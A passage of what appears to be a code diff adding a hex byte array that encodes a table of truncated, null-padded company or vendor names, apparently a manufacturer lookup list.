0x68, +0x4b, 0x69, 0x73, 0x61, 0x6e, 0x45, 0x6c, 0x65, +0x4c, 0x61, 0x73, 0x65, 0x72, 0x63, 0x72, 0x61, +0x53, 0x69, 0x65, 0x6c, 0x6f, 0x78, 0x4c, 0x6c, +0x49, 0x74, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x61, 0x6e, 0x61, 0x68, 0x65, 0x72, 0x4d, +0x46, 0x6f, 0x75, 0x72, 0x69, 0x65, 0x72, 0x00, +0x44, 0x65, 0x6c, 0x74, 0x61, 0x63, 0x6f, 0x6d, +0x43, 0x65, 0x7a, 0x7a, 0x65, 0x72, 0x4d, 0x75, +0x47, 0x75, 0x61, 0x6e, 0x67, 0x64, 0x61, 0x45, +0x4e, 0x69, 0x63, 0x69, 0x72, 0x61, 0x4e, 0x65, +0x41, 0x76, 0x69, 0x74, 0x65, 0x63, 0x68, 0x49, +0x4b, 0x69, 0x73, 0x73, 0x54, 0x65, 0x6b, 0x6e, +0x5a, 0x79, 0x6c, 0x69, 0x6e, 0x41, 0x73, 0x00, +0x49, 0x6f, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x53, 0x68, 0x6f, 0x75, 0x79, 0x6f, 0x45, 0x6c, +0x41, 0x6c, 0x63, 0x6f, 0x6e, 0x54, 0x65, 0x6c, +0x44, 0x64, 0x72, 0x64, 0x72, 0x69, 0x76, 0x65, +0x45, 0x6f, 0x6e, 0x61, 0x73, 0x49, 0x74, 0x2d, +0x49, 0x72, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x61, 0x72, +0x53, 0x61, 0x6e, 0x64, 0x66, 0x6f, 0x72, 0x63, +0x4b, 0x65, 0x64, 0x61, 0x68, 0x45, 0x6c, 0x65, +0x44, 0x69, 0x7a, 0x69, 0x70, 0x69, 0x61, 0x00, +0x4c, 0x69, 0x6e, 0x6b, 0x66, 0x6c, 0x65, 0x78, +0x4d, 0x65, 0x74, 0x65, 0x6c, 0x53, 0x52, 0x4f, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x53, 0x74, +0x4f, 0x6a, 0x2d, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x43, 0x2d, 0x4d, 0x61, 0x74, 0x69, 0x63, 0x00, +0x41, 0x6c, 0x66, 0x6c, 0x65, 0x78, 0x00, 0x00, +0x4c, 0x61, 0x69, 0x72, 0x64, 0x54, 0x65, 0x63, +0x50, 0x75, 0x72, 0x65, 0x63, 0x68, 0x6f, 0x69, +0x4d, 0x69, 0x78, 0x74, 0x65, 0x6c, 0x65, 0x6d, +0x43, 0x6f, 0x66, 0x66, 0x65, 0x65, 0x45, 0x71, +0x54, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x56, 0x65, 0x73, 0x74, 0x61, 0x63, 0x00, 0x00, +0x48, 0x65, 0x6c, 0x6d, 0x68, 0x6f, 0x6c, 0x74, +0x49, 0x6e, 0x79, 0x75, 0x61, 0x6e, 0x54, 0x65, +0x4b, 0x74, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x6f, 0x75, 0x73, +0x4c, 0x79, 0x6e, 0x74, 0x65, 0x63, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x73, 0x65, 0x6e, 0x73, +0x46, 0x45, 0x54, 0x45, 0x6c, 0x65, 0x74, 0x74, +0x4b, 0x69, 0x6e, 0x63, 0x6f, 0x41, 0x75, 0x74, +0x50, 0x61, 0x63, 0x6b, 0x65, 0x74, 0x46, 0x6f, +0x50, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x6f, 0x74, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6c, 0x53, 0x61, +0x47, 0x75, 0x6c, 0x66, 0x73, 0x74, 0x72, 0x65, +0x41, 0x70, 0x72, 0x69, 0x75, 0x73, 0x00, 0x00, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x4d, +0x4c, 0x6f, 0x6f, 0x6b, 0x69, 0x74, 0x54, 0x65, +0x55, 0x6e, 0x69, 0x67, 0x65, 0x6e, 0x00, 0x00, +0x47, 0x6f, 0x6c, 0x64, 0x6c, 0x69, 0x6e, 0x65, +0x5a, 0x68, 0x75, 0x68, 0x61, 0x69, 0x52, 0x61, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x49, 0x6e, 0x73, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x53, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x72, 0x67, 0x00, +0x58, 0x65, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, +0x52, 0x65, 0x73, 0x6d, 0x65, 0x64, 0x00, 0x00, +0x42, 0x75, 0x72, 0x73, 0x74, 0x65, 0x72, 0x00, +0x44, 0x61, 0x71, 0x53, 0x79, 0x73, 0x74, 0x65, +0x53, 0x6f, 0x61, 0x6d, 0x53, 0x79, 0x73, 0x74, +0x4d, 0x6f, 0x72, 0x65, 0x53, 0x74, 0x61, 0x72, +0x47, 0x72, 0x69, 0x64, 0x69, 0x72, 0x6f, 0x6e, +0x49, 0x73, 0x6f, 0x74, 0x65, 0x6b, 0x45, 0x6c, +0x55, 0x6e, 0x69, 0x6f, 0x6e, 0x42, 0x75, 0x73, +0x52, 0x69, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x68, 0x64, 0x69, 0x4c, 0x6c, 0x63, 0x00, +0x4e, 0x65, 0x6f, 0x74, 0x69, 0x6f, 0x6e, 0x00, +0x45, 0x6c, 0x73, 0x74, 0x65, 0x72, 0x00, 0x00, +0x4e, 0x61, 0x6e, 0x6f, 0x74, 0x65, 0x71, 0x00, +0x4c, 0x65, 0x6e, 0x67, 0x64, 0x61, 0x54, 0x65, +0x4c, 0x69, 0x68, 0x52, 0x6f, 0x6e, 0x67, 0x45, +0x49, 0x6e, 0x6d, 0x61, 0x67, 0x65, 0x00, 0x00, +0x47, 0x67, 0x68, 0x45, 0x6e, 0x67, 0x69, 0x6e, +0x41, 0x6e, 0x74, 0x69, 0x70, 0x6f, 0x64, 0x65, +0x54, 0x6f, 0x75, 0x72, 0x41, 0x6e, 0x64, 0x65, +0x54, 0x68, 0x69, 0x6e, 0x6b, 0x66, 0x6c, 0x6f, +0x56, 0x54, 0x54, 0x65, 0x6c, 0x65, 0x6d, 0x61, +0x43, 0x69, 0x65, 0x6e, 0x61, 0x00, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x44, 0x65, +0x4e, 0x69, 0x64, 0x65, 0x63, 0x43, 0x6f, 0x70, +0x41, 0x6c, 0x67, 0x6f, 0x6c, 0x77, 0x61, 0x72, +0x4d, 0x61, 0x78, 0x69, 0x61, 0x6e, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x74, 0x65, 0x75, 0x73, 0x49, +0x41, 0x6a, 0x69, 0x6e, 0x65, 0x78, 0x74, 0x65, +0x53, 0x61, 0x6d, 0x6a, 0x65, 0x6f, 0x6e, 0x00, +0x41, 0x6e, 0x64, 0x65, 0x73, 0x54, 0x65, 0x63, +0x56, 0x75, 0x74, 0x6c, 0x61, 0x6e, 0x53, 0x72, +0x45, 0x61, 0x73, 0x79, 0x64, 0x61, 0x74, 0x61, +0x4d, 0x61, 0x70, 0x6f, 0x77, 0x65, 0x72, 0x45, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x4c, +0x48, 0x61, 0x6e, 0x61, 0x43, 0x6e, 0x73, 0x00, +0x54, 0x72, 0x65, 0x6e, 0x64, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x77, 0x43, 0x6f, 0x6e, 0x63, 0x65, +0x53, 0x61, 0x67, 0x65, 0x74, 0x76, 0x4c, 0x6c, +0x45, 0x2d, 0x4d, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x52, 0x65, 0x64, 0x70, 0x69, 0x6e, 0x65, 0x53, +0x4d, 0x61, 0x72, 0x73, 0x68, 0x61, 0x6c, 0x6c, +0x48, 0x66, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x58, 0x6d, 0x61, 0x72, 0x6b, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x78, 0x69, 0x6f, 0x6e, 0x54, +0x4c, 0x6f, 0x6e, 0x67, 0x63, 0x68, 0x65, 0x65, +0x4c, 0x79, 0x79, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x72, 0x74, 0x61, 0x6e, 0x61, 0x00, 0x00, +0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x65, +0x51, 0x2d, 0x4c, 0x69, 0x67, 0x68, 0x74, 0x00, +0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x4a, +0x41, 0x69, 0x72, 0x62, 0x75, 0x73, 0x44, 0x65, +0x43, 0x68, 0x72, 0x6f, 0x6d, 0x61, 0x00, 0x00, +0x53, 0x63, 0x68, 0x6d, 0x69, 0x74, 0x74, 0x49, +0x45, 0x71, 0x2d, 0x53, 0x79, 0x73, 0x00, 0x00, +0x4d, 0x61, 0x69, 0x6e, 0x70, 0x69, 0x6e, 0x65, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x77, 0x61, 0x79, +0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x61, +0x4c, 0x6f, 0x67, 0x6d, 0x65, 0x69, 0x6e, 0x00, +0x4c, 0x75, 0x78, 0x4c, 0x75, 0x6d, 0x65, 0x6e, +0x52, 0x61, 0x64, 0x69, 0x61, 0x74, 0x69, 0x6f, +0x53, 0x6d, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x76, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x54, 0x65, 0x61, 0x6d, 0x2d, 0x52, 0x00, 0x00, +0x53, 0x69, 0x63, 0x68, 0x75, 0x61, 0x6e, 0x54, +0x42, 0x65, 0x68, 0x69, 0x6e, 0x64, 0x53, 0x65, +0x4b, 0x69, 0x74, 0x61, 0x44, 0x65, 0x6e, 0x73, +0x43, 0x75, 0x6d, 0x6d, 0x69, 0x6e, 0x73, 0x2d, +0x55, 0x6e, 0x69, 0x6c, 0x6f, 0x63, 0x55, 0x73, +0x54, 0x72, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x68, 0x61, 0x6e, 0x64, 0x45, 0x6c, +0x41, 0x69, 0x72, 0x6c, 0x69, 0x6e, 0x6b, 0x57, +0x57, 0x61, 0x72, 0x65, 0x6d, 0x61, 0x45, 0x6c, +0x42, 0x61, 0x6c, 0x6c, 0x2d, 0x49, 0x74, 0x4f, +0x42, 0x61, 0x6e, 0x6e, 0x65, 0x72, 0x45, 0x6e, +0x53, 0x61, 0x78, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x42, 0x65, 0x6e, 0x65, 0x69, 0x6e, 0x00, 0x00, +0x45, 0x6c, 0x67, 0x69, 0x6e, 0x53, 0x41, 0x00, +0x41, 0x6e, 0x73, 0x79, 0x6e, 0x63, 0x00, 0x00, +0x49, 0x6e, 0x6f, 0x54, 0x68, 0x65, 0x72, 0x61, +0x43, 0x61, 0x76, 0x65, 0x6e, 0x61, 0x49, 0x6d, +0x53, 0x65, 0x61, 0x53, 0x69, 0x67, 0x6e, 0x61, +0x49, 0x70, 0x6e, 0x65, 0x63, 0x74, 0x00, 0x00, +0x49, 0x70, 0x61, 0x78, 0x69, 0x6f, 0x6d, 0x4e, +0x50, 0x69, 0x72, 0x6b, 0x75, 0x73, 0x00, 0x00, +0x48, 0x69, 0x6e, 0x6b, 0x65, 0x00, 0x00, 0x00, +0x44, 0x65, 0x6d, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x5a, 0x75, 0x65, 0x6e, 0x64, 0x53, 0x79, 0x73, +0x54, 0x76, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00, +0x47, 0x6c, 0x6f, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x6e, 0x61, +0x57, 0x69, 0x6c, 0x6f, 0x53, 0x65, 0x00, 0x00, +0x53, 0x6f, 0x66, 0x74, 0x77, 0x65, 0x6c, 0x6c, +0x44, 0x6f, 0x75, 0x62, 0x6c, 0x65, 0x2d, 0x54, +0x52, 0x67, 0x4e, 0x65, 0x74, 0x73, 0x00, 0x00, +0x49, 0x70, 0x44, 0x61, 0x74, 0x61, 0x74, 0x65, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x53, 0x74, 0x65, +0x41, 0x66, 0x74, 0x41, 0x74, 0x6c, 0x61, 0x73, +0x42, 0x69, 0x6f, 0x64, 0x65, 0x76, 0x69, 0x63, +0x4f, 0x70, 0x2d, 0x54, 0x65, 0x63, 0x74, 0x69, +0x44, 0x69, 0x6c, 0x6f, 0x67, 0x4e, 0x6f, 0x72, +0x50, 0x6f, 0x69, 0x6e, 0x74, 0x6d, 0x6f, 0x62, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x53, 0x61, 0x73, +0x54, 0x6f, 0x72, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x55, 0x73, 0x42, 0x65, 0x76, 0x65, 0x72, 0x61, +0x44, 0x65, 0x6c, 0x65, 0x63, 0x00, 0x00, 0x00, +0x4f, 0x6e, 0x65, 0x70, 0x61, 0x74, 0x68, 0x4e, +0x49, 0x73, 0x68, 0x69, 0x69, 0x54, 0x6f, 0x6f, +0x4e, 0x75, 0x65, 0x74, 0x65, 0x71, 0x54, 0x65, +0x50, 0x68, 0x61, 0x72, 0x6d, 0x61, 0x73, 0x6d, +0x42, 0x65, 0x6e, 0x69, 0x67, 0x6e, 0x54, 0x65, +0x4d, 0x61, 0x67, 0x6e, 0x65, 0x74, 0x69, 0x63, +0x41, 0x6e, 0x79, 0x55, 0x73, 0x65, 0x00, 0x00, +0x4e, 0x65, 0x78, 0x74, 0x77, 0x61, 0x76, 0x65, +0x52, 0x65, 0x64, 0x42, 0x65, 0x65, 0x74, 0x6c, +0x49, 0x77, 0x6f, 0x77, 0x43, 0x6f, 0x6d, 0x6d, +0x46, 0x75, 0x67, 0x61, 0x6e, 0x67, 0x45, 0x6c, +0x44, 0x63, 0x74, 0x2d, 0x44, 0x65, 0x6c, 0x74, +0x4e, 0x65, 0x74, 0x75, 0x70, 0x00, 0x00, 0x00, +0x4b, 0x6e, 0x61, 0x70, 0x70, 0x4c, 0x6f, 0x67, +0x41, 0x63, 0x65, 0x41, 0x78, 0x69, 0x73, 0x00, +0x4e, 0x6f, 0x68, 0x6d, 0x69, 0x42, 0x6f, 0x73, +0x53, 0x73, 0x69, 0x43, 0x6f, 0x6d, 0x70, 0x75, +0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x69, 0x63, +0x4d, 0x6b, 0x4d, 0x61, 0x73, 0x74, 0x65, 0x72, +0x48, 0x69, 0x74, 0x74, 0x69, 0x74, 0x65, 0x4d, +0x44, 0x61, 0x74, 0x61, 0x73, 0x74, 0x72, 0x69, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x6e, 0x00, 0x00, +0x52, 0x75, 0x62, 0x79, 0x54, 0x65, 0x63, 0x68, +0x55, 0x6e, 0x69, 0x2d, 0x56, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x6f, 0x73, 0x74, 0x61, 0x72, 0x54, +0x4c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x73, 0x6f, +0x57, 0x69, 0x64, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x75, 0x64, 0x6c, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x73, 0x73, 0x69, 0x53, 0x50, 0x74, 0x65, +0x53, 0x41, 0x41, 0x41, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6d, 0x65, 0x72, 0x73, 0x6f, 0x6e, 0x41, +0x53, 0x74, 0x6f, 0x72, 0x77, 0x69, 0x7a, 0x65, +0x48, 0x61, 0x6c, 0x6f, 0x4d, 0x6f, 0x6e, 0x69, +0x57, 0x61, 0x6e, 0x7a, 0x6c, 0x4d, 0x65, 0x74, +0x41, 0x78, 0x6f, 0x6e, 0x61, 0x00, 0x00, 0x00, +0x4d, 0x6d, 0x62, 0x52, 0x65, 0x73, 0x65, 0x61, +0x4b, 0x61, 0x7a, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x53, 0x70, 0x69, 0x64, 0x65, 0x72, 0x63, 0x6c, +0x53, 0x68, 0x65, 0x6e, 0x5a, 0x68, 0x65, 0x6e, +0x56, 0x6f, 0x79, 0x61, 0x6e, 0x74, 0x49, 0x6e, +0x50, 0x65, 0x72, 0x63, 0x65, 0x70, 0x74, 0x72, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x74, 0x72, 0x6f, +0x52, 0x61, 0x64, 0x63, 0x68, 0x69, 0x70, 0x73, +0x41, 0x73, 0x61, 0x6e, 0x74, 0x72, 0x6f, 0x6e, +0x53, 0x69, 0x6c, 0x69, 0x63, 0x6f, 0x6e, 0x53, +0x49, 0x6e, 0x69, 0x74, 0x72, 0x61, 0x44, 0x4f, +0x4d, 0x75, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x42, +0x50, 0x61, 0x42, 0x61, 0x73, 0x74, 0x69, 0x6f, +0x52, 0x61, 0x69, 0x64, 0x6f, 0x6e, 0x54, 0x65, +0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x2d, 0x43, +0x54, 0x65, 0x72, 0x62, 0x65, 0x72, 0x67, 0x42, +0x48, 0x69, 0x76, 0x69, 0x73, 0x69, 0x6f, 0x6e, +0x56, 0x69, 0x6e, 0x65, 0x54, 0x65, 0x6c, 0x65, +0x47, 0x69, 0x61, 0x76, 0x61, 0x6c, 0x53, 0x63, +0x53, 0x68, 0x69, 0x6e, 0x57, 0x61, 0x6e, 0x67, +0x52, 0x61, 0x79, 0x7a, 0x6f, 0x6e, 0x65, 0x00, +0x50, 0x68, 0x79, 0x62, 0x72, 0x69, 0x64, 0x67, +0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x54, 0x65, +0x45, 0x6c, 0x65, 0x6e, 0x74, 0x65, 0x63, 0x00, +0x55, 0x6e, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x4e, +0x41, 0x6f, 0x63, 0x49, 0x6e, 0x74, 0x65, 0x72, +0x53, 0x75, 0x6d, 0x61, 0x76, 0x69, 0x73, 0x69, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x44, 0x6f, 0x6f, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x59, 0x65, 0x61, +0x43, 0x6f, 0x76, 0x69, 0x61, 0x00, 0x00, 0x00, +0x57, 0x65, 0x69, 0x6e, 0x7a, 0x69, 0x65, 0x72, +0x50, 0x68, 0x69, 0x68, 0x6f, 0x6e, 0x67, 0x55, +0x4f, 0x6e, 0x64, 0x61, 0x43, 0x6f, 0x6d, 0x6d, +0x41, 0x75, 0x72, 0x6f, 0x74, 0x65, 0x63, 0x68, +0x46, 0x75, 0x73, 0x69, 0x6f, 0x6e, 0x4d, 0x75, +0x52, 0x65, 0x64, 0x72, 0x69, 0x76, 0x65, 0x6e, +0x41, 0x75, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x63, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x73, 0x73, 0x53, +0x54, 0x61, 0x70, 0x54, 0x76, 0x00, 0x00, 0x00, +0x54, 0x69, 0x62, 0x62, 0x6f, 0x54, 0x65, 0x63, +0x4d, 0x61, 0x67, 0x54, 0x65, 0x63, 0x68, 0x45, +0x4f, 0x70, 0x74, 0x65, 0x63, 0x44, 0x69, 0x73, +0x46, 0x75, 0x59, 0x69, 0x43, 0x68, 0x65, 0x6e, +0x4d, 0x65, 0x74, 0x65, 0x6f, 0x63, 0x6f, 0x6e, +0x42, 0x61, 0x6e, 0x67, 0x41, 0x6e, 0x64, 0x4f, +0x43, 0x6f, 0x6e, 0x74, 0x65, 0x78, 0x74, 0x72, +0x44, 0x65, 0x73, 0x69, 0x67, 0x6e, 0x61, 0x72, +0x42, 0x6c, 0x61, 0x63, 0x6b, 0x62, 0x6f, 0x61, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x65, 0x46, 0x6f, +0x56, 0x6f, 0x64, 0x61, 0x66, 0x6f, 0x6e, 0x65, +0x4b, 0x61, 0x67, 0x61, 0x45, 0x6c, 0x65, 0x63, +0x48, 0x79, 0x62, 0x75, 0x73, 0x00, 0x00, 0x00, +0x44, 0x6f, 0x2d, 0x4d, 0x6f, 0x6e, 0x69, 0x78, +0x47, 0x69, 0x6e, 0x7a, 0x69, 0x6e, 0x67, 0x65, +0x41, 0x71, 0x75, 0x69, 0x6c, 0x61, 0x54, 0x65, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x53, 0x74, +0x42, 0x69, 0x6d, 0x65, 0x6e, 0x67, 0x43, 0x6f, +0x4e, 0x65, 0x73, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x64, 0x63, 0x2d, 0x45, 0x6c, 0x65, 0x6b, +0x48, 0x6f, 0x6e, 0x67, 0x4b, 0x6f, 0x6e, 0x67, +0x53, 0x6f, 0x6e, 0x69, 0x6d, 0x54, 0x65, 0x63, +0x53, 0x69, 0x6b, 0x6c, 0x75, 0x43, 0x6f, 0x6d, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x74, 0x61, 0x72, +0x4c, 0x65, 0x61, 0x64, 0x65, 0x72, 0x54, 0x65, +0x44, 0x79, 0x63, 0x6f, 0x72, 0x54, 0x65, 0x63, +0x41, 0x37, 0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65, +0x41, 0x64, 0x6f, 0x6c, 0x66, 0x54, 0x68, 0x69, +0x4d, 0x6f, 0x72, 0x70, 0x68, 0x6f, 0x00, 0x00, +0x45, 0x73, 0x61, 0x62, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x75, 0x6c, 0x6f, 0x6d, 0x62, 0x54, +0x47, 0x72, 0x61, 0x66, 0x2d, 0x53, 0x79, 0x74, +0x45, 0x73, 0x63, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x46, 0x72, 0x65, 0x65, 0x41, 0x6c, 0x6c, 0x69, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x48, 0x69, 0x67, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6c, 0x00, +0x48, 0x75, 0x72, 0x6f, 0x62, 0x00, 0x00, 0x00, +0x48, 0x61, 0x69, 0x6e, 0x7a, 0x6c, 0x49, 0x6e, +0x43, 0x69, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x74, 0x69, 0x43, 0x6f, 0x6d, 0x6f, 0x64, +0x41, 0x73, 0x75, 0x6d, 0x6f, 0x00, 0x00, 0x00, +0x48, 0x61, 0x67, 0x65, 0x72, 0x45, 0x6c, 0x65, +0x4d, 0x6f, 0x62, 0x69, 0x6c, 0x61, 0x72, 0x6d, +0x54, 0x6f, 0x62, 0x69, 0x69, 0x54, 0x65, 0x63, +0x41, 0x75, 0x74, 0x6f, 0x6e, 0x65, 0x74, 0x4d, +0x46, 0x61, 0x73, 0x63, 0x69, 0x6e, 0x61, 0x74, +0x57, 0x69, 0x6c, 0x6c, 0x6f, 0x77, 0x47, 0x61, +0x45, 0x78, 0x65, 0x6c, 0x74, 0x65, 0x63, 0x68, +0x49, 0x6e, 0x73, 0x63, 0x61, 0x70, 0x65, 0x44, +0x51, 0x75, 0x61, 0x6c, 0x69, 0x63, 0x61, 0x00, +0x57, 0x69, 0x6e, 0x77, 0x61, 0x72, 0x64, 0x49, +0x49, 0x6c, 0x73, 0x75, 0x6e, 0x67, 0x50, 0x72, +0x42, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x72, 0x00, +0x41, 0x6c, 0x63, 0x6f, 0x68, 0x6f, 0x6c, 0x4d, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x61, 0x6b, 0x00, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x62, +0x44, 0x73, 0x54, 0x65, 0x63, 0x68, 0x4c, 0x6c, +0x43, 0x6f, 0x6e, 0x76, 0x65, 0x79, 0x43, 0x6f, +0x48, 0x61, 0x73, 0x65, 0x67, 0x61, 0x77, 0x61, +0x43, 0x61, 0x6f, 0x47, 0x72, 0x6f, 0x75, 0x70, +0x57, 0x69, 0x74, 0x68, 0x69, 0x6e, 0x67, 0x73, +0x53, 0x65, 0x65, 0x72, 0x54, 0x65, 0x63, 0x68, +0x49, 0x6e, 0x4d, 0x6f, 0x74, 0x69, 0x6f, 0x6e, +0x50, 0x6c, 0x61, 0x73, 0x74, 0x65, 0x72, 0x4e, +0x49, 0x72, 0x69, 0x73, 0x2d, 0x47, 0x6d, 0x62, +0x43, 0x6c, 0x65, 0x61, 0x72, 0x70, 0x61, 0x74, +0x59, 0x74, 0x45, 0x6c, 0x65, 0x63, 0x00, 0x00, +0x57, 0x79, 0x6e, 0x6d, 0x61, 0x78, 0x00, 0x00, +0x53, 0x65, 0x61, 0x6e, 0x6f, 0x64, 0x65, 0x73, +0x4b, 0x61, 0x6d, 0x69, 0x6e, 0x61, 0x72, 0x69, +0x4e, 0x64, 0x73, 0x53, 0x75, 0x72, 0x67, 0x69, +0x4d, 0x69, 0x79, 0x6f, 0x73, 0x68, 0x69, 0x45, +0x48, 0x69, 0x6c, 0x67, 0x65, 0x72, 0x55, 0x4b, +0x51, 0x75, 0x6f, 0x70, 0x69, 0x6e, 0x00, 0x00, +0x4a, 0x73, 0x63, 0x53, 0x75, 0x70, 0x65, 0x72, +0x4e, 0x61, 0x74, 0x75, 0x72, 0x61, 0x6c, 0x70, +0x56, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x74, 0x43, +0x45, 0x6b, 0x73, 0x45, 0x6e, 0x67, 0x65, 0x6c, +0x41, 0x49, 0x41, 0x6e, 0x74, 0x69, 0x74, 0x61, +0x41, 0x73, 0x74, 0x61, 0x6b, 0x00, 0x00, 0x00, +0x4d, 0x61, 0x71, 0x75, 0x65, 0x74, 0x43, 0x61, +0x53, 0x68, 0x61, 0x72, 0x65, 0x74, 0x72, 0x6f, +0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, +0x43, 0x65, 0x6e, 0x74, 0x72, 0x6f, 0x66, 0x61, +0x53, 0x65, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x47, 0x7a, 0x74, 0x54, 0x65, 0x6c, 0x6b, 0x6f, +0x47, 0x74, 0x47, 0x65, 0x72, 0x6d, 0x61, 0x6e, +0x4f, 0x6e, 0x2d, 0x52, 0x61, 0x6d, 0x70, 0x57, +0x50, 0x69, 0x63, 0x6f, 0x2d, 0x54, 0x65, 0x73, +0x43, 0x78, 0x70, 0x44, 0x69, 0x67, 0x69, 0x74, +0x50, 0x63, 0x57, 0x6f, 0x72, 0x74, 0x68, 0x49, +0x56, 0x65, 0x6e, 0x6e, 0x74, 0x69, 0x73, 0x4c, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x50, 0x6c, 0x75, +0x56, 0x69, 0x61, 0x61, 0x73, 0x00, 0x00, 0x00, +0x50, 0x73, 0x69, 0x62, 0x65, 0x72, 0x44, 0x61, +0x45, 0x64, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x44, 0x73, 0x61, 0x45, 0x6e, 0x63, 0x6f, 0x72, +0x52, 0x6f, 0x74, 0x65, 0x6c, 0x54, 0x65, 0x63, +0x5a, 0x79, 0x6e, 0x75, 0x73, 0x56, 0x69, 0x73, +0x53, 0x6d, 0x61, 0x52, 0x61, 0x69, 0x6c, 0x77, +0x4c, 0x6f, 0x67, 0x69, 0x74, 0x65, 0x6b, 0x45, +0x41, 0x73, 0x72, 0x6f, 0x63, 0x6b, 0x49, 0x6e, +0x4f, 0x63, 0x70, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x69, 0x67, 0x68, 0x74, 0x63, 0x6f, 0x6d, +0x43, 0x74, 0x65, 0x72, 0x61, 0x4e, 0x65, 0x74, +0x47, 0x65, 0x6e, 0x75, 0x69, 0x6e, 0x65, 0x54, +0x42, 0x69, 0x74, 0x72, 0x6f, 0x64, 0x65, 0x00, +0x44, 0x61, 0x69, 0x64, 0x6f, 0x53, 0x69, 0x67, +0x43, 0x6f, 0x6d, 0x65, 0x6c, 0x69, 0x74, 0x47, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x47, +0x53, 0x74, 0x69, 0x72, 0x6c, 0x69, 0x6e, 0x67, +0x45, 0x6e, 0x74, 0x6f, 0x75, 0x72, 0x61, 0x67, +0x4b, 0x69, 0x72, 0x79, 0x75, 0x6e, 0x67, 0x45, +0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x00, 0x00, +0x41, 0x65, 0x74, 0x61, 0x73, 0x00, 0x00, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x45, 0x6e, 0x67, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x52, +0x57, 0x69, 0x74, 0x74, 0x65, 0x6e, 0x73, 0x74, +0x4d, 0x69, 0x6e, 0x69, 0x6d, 0x61, 0x78, 0x00, +0x52, 0x75, 0x6e, 